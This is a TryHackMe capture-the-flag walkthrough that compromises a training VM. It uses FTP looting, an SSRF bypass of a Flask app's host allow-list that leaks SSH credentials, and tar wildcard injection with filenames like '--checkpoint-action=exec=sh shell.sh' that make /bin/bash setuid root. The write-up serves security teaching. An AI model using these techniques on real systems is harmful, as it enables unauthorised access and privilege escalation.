Challenge: Operation Coldstart (TryHackMe)

Link to the challenge on TryHackMe: Operation Coldstart
Volt Labs, a small SaaS shop, suspects an old staging server has rotted into an exposed liability. Mara has assigned you the engagement. Find your way in and demonstrate full compromise.
Start the VM by clicking the
Start Lab Machinebutton at the top right of the task. You can complete the challenge by connecting through VPN or the AttackBox, which contains all the essential tools.Allow two to three minutes for all services to start.
Answer the questions below
What is the content of user.txt?
nmap -p- -sV IP_Address
21/tcp open ftp vsftpd 3.0.5
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux; protocol 2.0)
80/tcp open http gunicorn
gobuster dir -u http://IP_Address -w /usr/share/wordlists/dirb/common.txt -x php,html,txt
gobuster dir -u http://IP_Address -w /usr/share/wordlists/dirb/common.txt -x php,html,txt
/admin (Status: 308) [Size: 243] [--> http://IP_Address/admin/]
/preview (Status: 400) [Size: 2493]
ftp IP_Address
Connected to IP_Address.
220 (vsFTPd 3.0.5)
Name (IP_Address:root): anonymous
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering Extended Passive Mode (|||40031|)
150 Here comes the directory listing.
drwxr-xr-x 2 ftp ftp 4096 May 09 23:14 pub
226 Directory send OK.
ftp> ls -la
229 Entering Extended Passive Mode (|||40072|)
150 Here comes the directory listing.
drwxr-xr-x 3 ftp ftp 4096 May 09 23:14 .
drwxr-xr-x 3 ftp ftp 4096 May 09 23:14 ..
drwxr-xr-x 2 ftp ftp 4096 May 09 23:14 pub
226 Directory send OK.
ftp> cd pub
250 Directory successfully changed.
ftp> ls
229 Entering Extended Passive Mode (|||40014|)
150 Here comes the directory listing.
-rw-r--r-- 1 ftp ftp 2446 May 09 23:14 backup.tar.gz
226 Directory send OK.
ftp> get backup.tar.gz
local: backup.tar.gz remote: backup.tar.gz
229 Entering Extended Passive Mode (|||40030|)
150 Opening BINARY mode data connection for backup.tar.gz (2446 bytes).
100% |*******************************************************| 2446 4.94 MiB/s 00:00 ETA
226 Transfer complete.
2446 bytes received in 00:00 (2.70 MiB/s)
ftp> ls -la
229 Entering Extended Passive Mode (|||40036|)
150 Here comes the directory listing.
drwxr-xr-x 2 ftp ftp 4096 May 09 23:14 .
drwxr-xr-x 3 ftp ftp 4096 May 09 23:14 ..
-rw-r--r-- 1 ftp ftp 2446 May 09 23:14 backup.tar.gz
226 Directory send OK.
ftp>
tar xzvf backup.tar.gz
voltlabs-preview/
voltlabs-preview/requirements.txt
voltlabs-preview/README.md
voltlabs-preview/app.py
root@ip-10-114-125-137:~# cd voltlabs-preview
root@ip-10-114-125-137:~/voltlabs-preview# ls
README.md app.py requirements.txt
root@ip-10-114-125-137:~/voltlabs-preview# cat requirements.txt
flask
requests
gunicorn
root@ip-10-114-125-137:~/voltlabs-preview# cat README.md
# Volt Labs URL Preview
Internal staging tool. Run with `gunicorn -b 0.0.0.0:80 app:app`.
Admin routes are gated by source-IP check (localhost only).
root@ip-10-114-125-137:~/voltlabs-preview# cat app.py
from flask import Flask, request, abort
from urllib.parse import urlparse
import html
import requests
app = Flask(__name__)
# Only requests targeting an approved internal hostname are forwarded.
# Internal hostname resolves to 127.0.0.1 via /etc/hosts on this box.
ALLOWED_HOSTS = {"kestrel.thm"}
CSS = """
<style>
:root{--primary:#0d6efd;--bg:#f6f8fa;--card:#fff;--text:#212529;--muted:#6c757d;--border:#dee2e6}
*{box-sizing:border-box}
body{margin:0;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,"Helvetica Neue",Arial,sans-serif;font-size:16px;line-height:1.5;color:var(--text);background:var(--bg)}
a{color:var(--primary);text-decoration:none}
a:hover{text-decoration:underline}
.navbar{background:#212529;color:#fff;padding:.75rem 1.5rem;display:flex;align-items:center;justify-content:space-between;box-shadow:0 1px 3px rgba(0,0,0,.08)}
.navbar .brand{font-weight:600;font-size:1.125rem;letter-spacing:.2px}
.navbar .muted-light{color:#a5acb3;font-size:.95rem}
.container{max-width:960px;margin:2rem auto;padding:0 1rem}
.card{background:var(--card);border:1px solid var(--border);border-radius:.5rem;padding:1.5rem;margin-bottom:1.25rem;box-shadow:0 1px 2px rgba(0,0,0,.04)}
h1{font-size:1.75rem;margin:0 0 .75rem}
h2{font-size:1.25rem;margin:1.25rem 0 .5rem}
.muted{color:var(--muted);font-size:.95rem}
.form-group{margin-bottom:1rem}
label{display:block;margin-bottom:.25rem;font-weight:500;font-size:.95rem}
.form-control{display:block;width:100%;padding:.5rem .75rem;font-size:1rem;line-height:1.5;color:var(--text);background:#fff;border:1px solid var(--border);border-radius:.375rem;transition:border-color .15s,box-shadow .15s}
.form-control:focus{outline:0;border-color:#86b7fe;box-shadow:0 0 0 .2rem rgba(13,110,253,.25)}
.btn{display:inline-block;padding:.5rem 1rem;font-size:1rem;font-weight:500;border:1px solid transparent;border-radius:.375rem;cursor:pointer;transition:background .15s}
.btn-primary{background:var(--primary);color:#fff}
.btn-primary:hover{background:#0b5ed7}
pre{background:#f1f3f5;border:1px solid var(--border);border-radius:.375rem;padding:.75rem;overflow:auto;font-size:.9rem;white-space:pre-wrap;word-break:break-word}
footer.site{text-align:center;color:var(--muted);margin:2rem 0;font-size:.875rem}
</style>
"""
def page(title, body):
return f"""<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>{title} - Volt Labs</title>{CSS}</head>
<body>
<nav class="navbar">
<span class="brand">Volt Labs</span>
<span class="muted-light">URL Preview Service · staging</span>
</nav>
<main class="container">{body}</main>
<footer class="site">© Volt Labs · do not expose externally</footer>
</body>
</html>"""
@app.route("/")
def index():
body = """
<div class="card">
<h1>URL Preview Service</h1>
<p class="muted">Internal tool. Paste a URL below to preview its contents.</p>
<form method="get" action="/preview">
<div class="form-group">
<label for="url">URL</label>
<input id="url" type="text" name="url" class="form-control" placeholder="https://example.com/" required>
</div>
<button type="submit" class="btn btn-primary">Preview</button>
</form>
</div>
"""
return page("URL Preview", body)
@app.route("/preview")
def preview():
target = request.args.get("url", "")
if not target:
return page("Preview Error",
'<div class="card"><p>Provide a <code>?url=</code> parameter.</p></div>'), 400
# VULN: hostname allow-list is the only check. No scheme check, no path check,
# no localhost-rebind protection - the SSRF is still abusable, but only
# against the allowed hostname.
host = (urlparse(target).hostname or "").lower()
if host not in ALLOWED_HOSTS:
return page("Preview Blocked",
'<div class="card"><p>Host not in the approved internal allow-list.</p></div>'), 403
try:
r = requests.get(target, timeout=3)
safe_target = html.escape(target)
safe_body = r.text.replace("<", "<")
body = f"""
<div class="card">
<h2>Preview of {safe_target}</h2>
<pre>{safe_body}</pre>
</div>
"""
return page("Preview", body)
except Exception as e:
safe_err = html.escape(str(e))
return page("Preview Failed",
f'<div class="card"><p>Fetch failed: {safe_err}</p></div>'), 502
@app.route("/admin/")
@app.route("/admin/<path:p>")
def admin(p="index"):
if not request.remote_addr.startswith("127."):
abort(403)
if p == "notes":
with open("/opt/voltlabs-preview/admin_notes.txt") as f:
return "<pre>" + f.read() + "</pre>"
return "<pre>Volt Labs admin endpoint.</pre>"
if __name__ == "__main__":
app.run(host="0.0.0.0", port=80)
curl "http://IP_Address/preview?url=http://kestrel.thm/admin/notes"
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Preview - Volt Labs</title>
<style>
:root{--primary:#0d6efd;--bg:#f6f8fa;--card:#fff;--text:#212529;--muted:#6c757d;--border:#dee2e6}
*{box-sizing:border-box}
body{margin:0;font-family:-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,"Helvetica Neue",Arial,sans-serif;font-size:16px;line-height:1.5;color:var(--text);background:var(--bg)}
a{color:var(--primary);text-decoration:none}
a:hover{text-decoration:underline}
.navbar{background:#212529;color:#fff;padding:.75rem 1.5rem;display:flex;align-items:center;justify-content:space-between;box-shadow:0 1px 3px rgba(0,0,0,.08)}
.navbar .brand{font-weight:600;font-size:1.125rem;letter-spacing:.2px}
.navbar .muted-light{color:#a5acb3;font-size:.95rem}
.container{max-width:960px;margin:2rem auto;padding:0 1rem}
.card{background:var(--card);border:1px solid var(--border);border-radius:.5rem;padding:1.5rem;margin-bottom:1.25rem;box-shadow:0 1px 2px rgba(0,0,0,.04)}
h1{font-size:1.75rem;margin:0 0 .75rem}
h2{font-size:1.25rem;margin:1.25rem 0 .5rem}
.muted{color:var(--muted);font-size:.95rem}
.form-group{margin-bottom:1rem}
label{display:block;margin-bottom:.25rem;font-weight:500;font-size:.95rem}
.form-control{display:block;width:100%;padding:.5rem .75rem;font-size:1rem;line-height:1.5;color:var(--text);background:#fff;border:1px solid var(--border);border-radius:.375rem;transition:border-color .15s,box-shadow .15s}
.form-control:focus{outline:0;border-color:#86b7fe;box-shadow:0 0 0 .2rem rgba(13,110,253,.25)}
.btn{display:inline-block;padding:.5rem 1rem;font-size:1rem;font-weight:500;border:1px solid transparent;border-radius:.375rem;cursor:pointer;transition:background .15s}
.btn-primary{background:var(--primary);color:#fff}
.btn-primary:hover{background:#0b5ed7}
pre{background:#f1f3f5;border:1px solid var(--border);border-radius:.375rem;padding:.75rem;overflow:auto;font-size:.9rem;white-space:pre-wrap;word-break:break-word}
footer.site{text-align:center;color:var(--muted);margin:2rem 0;font-size:.875rem}
</style>
</head>
<body>
<nav class="navbar">
<span class="brand">Volt Labs</span>
<span class="muted-light">URL Preview Service · staging</span>
</nav>
<main class="container">
<div class="card">
<h2>Preview of http://kestrel.thm/admin/notes</h2>
<pre><pre>=== INTERNAL ===
SSH access for staging:
user: webdev
pass: V0ltLabs#summer
- Mara
</pre></pre>
</div>
</main>
<footer class="site">© Volt Labs · do not expose externally</footer>
</body>
</html>
SSH access for staging: user: webdev pass: V0ltLabs#summer
- Mara
ssh webdev@IP_Address
webdev@coldstart:~$ ls -la
total 28
drwx------ 3 webdev webdev 4096 May 9 23:16 .
drwxr-xr-x 4 root root 4096 May 9 23:14 ..
lrwxrwxrwx 1 root root 9 May 9 23:16 .bash_history -> /dev/null
-rw-r--r-- 1 webdev webdev 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 webdev webdev 3771 Feb 25 2020 .bashrc
drwx------ 2 webdev webdev 4096 May 9 23:16 .cache
-rw-r--r-- 1 webdev webdev 807 Feb 25 2020 .profile
-rw------- 1 webdev webdev 38 May 9 23:14 user.txt
webdev@coldstart:~$ cat user.txt
THM{96dc7bd50d2fb98fcece0156redacted}
What is the content of flag.txt?
webdev@coldstart:~$ sudo -l
[sudo] password for webdev:
Sorry, user webdev may not run sudo on coldstart.
webdev@coldstart:~$ find / -perm -4000 2>/dev/null
/snap/core20/2379/usr/bin/chfn
/snap/core20/2379/usr/bin/chsh
/snap/core20/2379/usr/bin/gpasswd
/snap/core20/2379/usr/bin/mount
/snap/core20/2379/usr/bin/newgrp
/snap/core20/2379/usr/bin/passwd
/snap/core20/2379/usr/bin/su
/snap/core20/2379/usr/bin/sudo
/snap/core20/2379/usr/bin/umount
/snap/core20/2379/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core20/2379/usr/lib/openssh/ssh-keysign
/snap/core20/2866/usr/bin/chfn
/snap/core20/2866/usr/bin/chsh
/snap/core20/2866/usr/bin/gpasswd
/snap/core20/2866/usr/bin/mount
/snap/core20/2866/usr/bin/newgrp
/snap/core20/2866/usr/bin/passwd
/snap/core20/2866/usr/bin/su
/snap/core20/2866/usr/bin/sudo
/snap/core20/2866/usr/bin/umount
/snap/core20/2866/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core20/2866/usr/lib/openssh/ssh-keysign
/snap/core/17292/bin/mount
/snap/core/17292/bin/ping
/snap/core/17292/bin/ping6
/snap/core/17292/bin/su
/snap/core/17292/bin/umount
/snap/core/17292/usr/bin/chfn
/snap/core/17292/usr/bin/chsh
/snap/core/17292/usr/bin/gpasswd
/snap/core/17292/usr/bin/newgrp
/snap/core/17292/usr/bin/passwd
/snap/core/17292/usr/bin/sudo
/snap/core/17292/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core/17292/usr/lib/openssh/ssh-keysign
/snap/core/17292/usr/lib/snapd/snap-confine
/snap/core/17292/usr/sbin/pppd
/snap/core18/2999/bin/mount
/snap/core18/2999/bin/ping
/snap/core18/2999/bin/su
/snap/core18/2999/bin/umount
/snap/core18/2999/usr/bin/chfn
/snap/core18/2999/usr/bin/chsh
/snap/core18/2999/usr/bin/gpasswd
/snap/core18/2999/usr/bin/newgrp
/snap/core18/2999/usr/bin/passwd
/snap/core18/2999/usr/bin/sudo
/snap/core18/2999/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core18/2999/usr/lib/openssh/ssh-keysign
/snap/core18/1885/bin/mount
/snap/core18/1885/bin/ping
/snap/core18/1885/bin/su
/snap/core18/1885/bin/umount
/snap/core18/1885/usr/bin/chfn
/snap/core18/1885/usr/bin/chsh
/snap/core18/1885/usr/bin/gpasswd
/snap/core18/1885/usr/bin/newgrp
/snap/core18/1885/usr/bin/passwd
/snap/core18/1885/usr/bin/sudo
/snap/core18/1885/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core18/1885/usr/lib/openssh/ssh-keysign
/snap/core22/2411/usr/bin/chfn
/snap/core22/2411/usr/bin/chsh
/snap/core22/2411/usr/bin/gpasswd
/snap/core22/2411/usr/bin/mount
/snap/core22/2411/usr/bin/newgrp
/snap/core22/2411/usr/bin/passwd
/snap/core22/2411/usr/bin/su
/snap/core22/2411/usr/bin/sudo
/snap/core22/2411/usr/bin/umount
/snap/core22/2411/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core22/2411/usr/lib/openssh/ssh-keysign
/snap/core22/2411/usr/libexec/polkit-agent-helper-1
/snap/core22/1621/usr/bin/chfn
/snap/core22/1621/usr/bin/chsh
/snap/core22/1621/usr/bin/gpasswd
/snap/core22/1621/usr/bin/mount
/snap/core22/1621/usr/bin/newgrp
/snap/core22/1621/usr/bin/passwd
/snap/core22/1621/usr/bin/su
/snap/core22/1621/usr/bin/sudo
/snap/core22/1621/usr/bin/umount
/snap/core22/1621/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/snap/core22/1621/usr/lib/openssh/ssh-keysign
/snap/core22/1621/usr/libexec/polkit-agent-helper-1
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/openssh/ssh-keysign
/usr/lib/polkit-1/polkit-agent-helper-1
/usr/bin/chfn
/usr/bin/sudo
/usr/bin/umount
/usr/bin/passwd
/usr/bin/gpasswd
/usr/bin/newgrp
/usr/bin/chsh
/usr/bin/fusermount3
/usr/bin/su
/usr/bin/mount
webdev@coldstart:~$ cd /opt/backups
webdev@coldstart:/opt/backups$ cat > shell.sh << 'EOF'
#!/bin/bash
chmod +s /bin/bash
EOF
webdev@coldstart:/opt/backups$ chmod +x shell.sh
webdev@coldstart:/opt/backups$ echo "" > "--checkpoint=1"
echo "" > "--checkpoint-action=exec=sh shell.sh"
webdev@coldstart:/opt/backups$ ls -la /bin/bash
-rwxr-xr-x 1 root root 1446024 Mar 31 2024 /bin/bash
webdev@coldstart:/opt/backups$ /bin/bash -p
bash-5.2# id
uid=1001(webdev) gid=1001(webdev) euid=0(root) egid=0(root) groups=0(root),1001(webdev)
bash-5.2# ls -la
total 24
-rw-rw-r-- 1 webdev webdev 1 Sep 3 11:39 '--checkpoint-action=exec=sh shell.sh'
-rw-rw-r-- 1 webdev webdev 1 Sep 3 11:39 '--checkpoint=1'
drwxrwx--- 2 webdev webdev 4096 Sep 3 11:39 .
drwxr-xr-x 4 root root 4096 May 9 23:14 ..
-rw-r--r-- 1 webdev webdev 12 May 9 23:14 .keep
-rwxrwxr-x 1 webdev webdev 31 Sep 3 11:36 shell.sh
bash-5.2# pwd
/opt/backups
bash-5.2# find / -type f -name root.txt 2>/dev/null
bash-5.2# find / -type f -name flag.txt 2>/dev/null
/root/flag.txt
bash-5.2# cat root/flag.txt
cat: root/flag.txt: No such file or directory
bash-5.2# cat /root/flag.txt
THM{e6ee84a483d67ade06936fredacted}
bash-5.2#




